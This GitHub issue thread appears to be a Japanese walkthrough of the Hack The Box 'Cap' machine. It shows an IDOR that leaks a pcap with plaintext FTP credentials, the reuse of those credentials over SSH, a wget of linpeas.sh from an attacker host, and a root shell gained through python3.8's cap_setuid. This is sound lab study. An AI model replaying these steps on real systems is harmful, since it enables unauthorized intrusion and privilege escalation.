Open roaris opened 8 months ago
roaris
commented
8 months ago ポート80を確認すると、ネットワークのプロファイラみたいなアプリケーションが出てきた
ColorlibというWordPressのテーマが使われているらしい
Security Snapshotをクリックすると、pcapファイルがダウンロード出来るが、直近のパケットしか含まれていないので、Wiresharkで確認しても、FTPのID/PASSが手に入るとかはない
roaris
commented
8 months ago vsftpd 3.0.3, OpenSSH 8.2p1の脆弱性を調べたけど、使えそうなのが無かった gobusterもしたけど、特になし
roaris
commented
8 months ago Downloadボタンに着目するらしい
onclick="location.href='/download/3'"となっている
GET /download/3のリクエストを送ると、Content-Typeがapplication/vnd.tcpdump.pcapのレスポンスが返ってくる
未知のContent-Typeが指定されていた場合、ブラウザはそのファイルをダウンロードするようになっている https://qiita.com/yutoo89/items/c59a6a920b1bd6a72d59
roaris
commented
8 months ago ブラウザで/download/0にアクセスすると、0.pcapをダウンロードすることが出来る 0.pcapをWiresharkで確認すると、FTPのID/PASSがnathan/Buck3tH4TF0RM3!だと分かる
roaris
commented
8 months ago 上で得た認証情報でFTPにログインすると、user.txtが見つかる
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:roaris): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||27892|)
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 Mar 11 14:37 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||46821|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*******************************************************************************************************************************| 33 0.18 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.04 KiB/s)
ftp> exit
221 Goodbye./rootにはアクセス出来ない
ftp> pwd
Remote directory: /home/nathan
ftp> cd ../..
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||10566|)
150 Here comes the directory listing.
lrwxrwxrwx 1 0 0 7 Jul 31 2020 bin -> usr/bin
drwxr-xr-x 4 0 0 4096 Jul 23 2021 boot
drwxr-xr-x 2 0 0 4096 May 23 2021 cdrom
drwxr-xr-x 18 0 0 4000 Mar 11 14:37 dev
drwxr-xr-x 92 0 0 4096 Jul 23 2021 etc
drwxr-xr-x 3 0 0 4096 May 23 2021 home
lrwxrwxrwx 1 0 0 7 Jul 31 2020 lib -> usr/lib
lrwxrwxrwx 1 0 0 9 Jul 31 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 0 0 9 Jul 31 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 0 0 10 Jul 31 2020 libx32 -> usr/libx32
drwx------ 2 0 0 16384 Sep 23 2020 lost+found
drwxr-xr-x 2 0 0 4096 Jun 01 2021 media
drwxr-xr-x 2 0 0 4096 May 23 2021 mnt
drwxr-xr-x 2 0 0 4096 May 23 2021 opt
dr-xr-xr-x 264 0 0 0 Mar 11 14:37 proc
drwx------ 6 0 0 4096 Mar 11 14:37 root
drwxr-xr-x 27 0 0 800 Mar 11 14:37 run
lrwxrwxrwx 1 0 0 8 Jul 31 2020 sbin -> usr/sbin
drwxr-xr-x 6 0 0 4096 May 23 2021 snap
drwxr-xr-x 3 0 0 4096 May 23 2021 srv
dr-xr-xr-x 13 0 0 0 Mar 11 14:37 sys
drwxrwxrwt 12 0 0 4096 Mar 11 15:24 tmp
drwxr-xr-x 15 0 0 4096 May 23 2021 usr
drwxr-xr-x 14 0 0 4096 May 23 2021 var
226 Directory send OK.
ftp> cd root
550 Failed to change directory.SSHはパスワード認証が有効になっていて、nathan/Buck3tH4TF0RM3!でログイン出来るらしい sudo -lは出来ない
$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Mar 11 15:39:56 UTC 2024
System load: 0.0
Usage of /: 36.6% of 8.73GB
Memory usage: 21%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.10.10.245
IPv6 address for eth0: dead:beef::250:56ff:feb9:ca45
=> There are 2 zombie processes.
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.LinPEASを使うらしい マシン側ではlinpeas.shをインストール出来なかった
nathan@cap:~$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
--2024-03-11 15:43:01-- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
Resolving github.com (github.com)... failed: Temporary failure in name resolution.
wget: unable to resolve host address ‘github.com’なので、kali linux側でlinpeas.shをインストールして、python -m http.server 8000でマシン側に共有させる
nathan@cap:~$ wget 10.10.16.5:8000/linpeas.sh
--2024-03-11 15:49:03-- http://10.10.16.5:8000/linpeas.sh
Connecting to 10.10.16.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[========================================================================================>] 840.38K 688KB/s in 1.2s
2024-03-11 15:49:05 (688 KB/s) - ‘linpeas.sh’ saved [860549/860549]
nathan@cap:~$ ls
linpeas.sh user.txt
nathan@cap:~$ chmod +x linpeas.shWinPEAS同様に出力の量が多すぎる
ここに着目するらしい
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep/usr/bin/python3.8にcap_setuidがあることが重要らしい Linuxにはcapabilityというものがあるらしい https://qiita.com/Brutus/items/37d942214b4c6edd08df capabilityはgetcapコマンドで確認できる
nathan@cap:~$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eipsetuidはプロセスの実行ユーザのIDを変更するもの https://man7.org/linux/man-pages/man2/setuid.2.html cap_setuidはsetuidを行う権限があるという意味
roaris
commented
8 months ago /usr/bin/python3.8を起動し、uidを0に変更してからbashを起動することで、rootユーザのシェルが得られる
nathan@cap:~$ /usr/bin/python3.8
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash")
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# cd /root
root@cap:/root# ls
root.txt snap
https://app.hackthebox.com/machines/Cap
OpenSSH 8.2p1のpはportableのpらしい https://qiita.com/t_nakayama0714/items/c312bc5edcce6c214856#openssh